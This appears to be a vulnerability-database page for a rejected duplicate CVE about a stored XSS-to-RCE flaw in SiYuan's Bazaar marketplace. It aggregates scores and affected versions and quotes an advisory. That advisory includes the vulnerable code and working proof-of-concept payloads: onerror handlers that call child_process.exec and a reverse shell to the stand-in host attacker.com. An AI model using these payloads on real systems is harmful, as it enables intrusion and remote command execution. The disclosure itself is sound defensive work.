CVE-2026-56395
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar...
CVE-2026-56395 has been rejected by its source and should not be treated as a live vulnerability, published March 16, 2026.
- Severity
- 9.4 CriticalCVSS 4.0, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
- No fix listedNo source names one
Description
This record is a duplicate; use CVE-2026-56397 instead.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/siyuan-note/siyuan/kernelGo From an advisory covering 2 CVEs | through 0.0.0-20260313024916-fd6526133bb3 | None known |
github.com/siyuan-note/siyuan/kernelGo From an advisory covering 2 CVEs | before 0.0.0-20260317012524-fe4523fff2c8 | 0.0.0-20260317012524-fe4523fff2c8 |
What each source reports
GitHub Advisories Score usedGHSA-9f8r-gfgq-cjhm 9.4
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar...
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.
- Record
GHSA-9f8r-gfgq-cjhm- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-79
- Updated
- 2026-11-02
CVE ListNo score
This record is a duplicate; use CVE-2026-56397 instead.
- Record
CVE-2026-56395- Updated
- 2026-11-02
EUVDEUVD-2026-38161 9.4
This record is a duplicate; use CVE-2026-56397 instead.
- Record
EUVD-2026-38161- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Updated
- 2026-11-02
NVDNo score
Rejected reason: This record is a duplicate; use CVE-2026-56397 instead.
- Record
CVE-2026-56395- Updated
- 2026-11-02
OSV 9.4
SiYuan - Remote Code Execution via Malicious Bazaar Package Metadata and README
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.
- Record
CVE-2026-56395- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVCVE-2026-56397 9.4
SiYuan - Remote Code Execution via Malicious Bazaar Package Metadata and README
SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.
- Record
CVE-2026-56397- CVSS 4.0
- 9.4 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H - Weakness
- CWE-79
- Updated
- 2026-11-09
OSVGHSA-v3mg-9v85-fcm7 5.3
SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
Summary
SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:
- Package metadata XSS (zero-click): Package
displayNameanddescriptionfields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution. - README XSS (one-click): The
renderREADMEfunction useslute.New()withoutSetSanitize(true), so raw HTML in the README passes through toinnerHTMLunsanitized.
Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.
Affected Component
- Metadata rendering:
app/src/config/bazaar.ts:275-277 - README rendering (backend):
kernel/bazaar/package.go:635-645(renderREADME) - README rendering (frontend):
app/src/config/bazaar.ts:607(innerHTML) - Electron config:
app/electron/main.js:422-426(nodeIntegration: true) - Version: SiYuan <= 3.5.9
Vulnerable Code
Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)
// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.
Vector 2: README rendering — no Lute sanitization (package.go:635-645)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved
return
}
Compare with the SiYuan note renderer in kernel/util/lute.go:81:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT
Frontend innerHTML injection (bazaar.ts:607)
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML from README
});
Proof of Concept
Vector 1: Malicious package manifest (zero-click RCE)
A malicious plugin.json (or theme.json, template.json):
{
"name": "helpful-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
},
"version": "1.0.0"
}
When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.
Vector 2: Malicious README.md (one-click RCE)
# Helpful Plugin
This plugin does helpful things.
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Follow the usual steps.
When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.
Reverse shell via README
# Cool Theme
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">
Data exfiltration via package name
{
"displayName": {
"default": "<img src=x…
- Record
GHSA-v3mg-9v85-fcm7- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGO-2026-4720No score
SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel
SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.
- Record
GO-2026-4720- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
References
github.com/siyuan-note/siyuan/security/advisories/GHSA-v3mg-9v85-fcm7
nvd.nist.gov/vuln/detail/CVE-2026-56395
vulncheck.com/advisories/siyuan-remote-code-execution-via-malicious-bazaar-package-metadata-and-readme
github.com/advisories/GHSA-9f8r-gfgq-cjhm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56395.json
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56397.json
nvd.nist.gov/vuln/detail/CVE-2026-56397
vulncheck.com/advisories/siyuan-remote-code-execution-via-malicious-bazaar-package-metadata-and-readme-2
github.com/siyuan-note/siyuan
Left out here: the rest of 1 source description. The JSON record has them.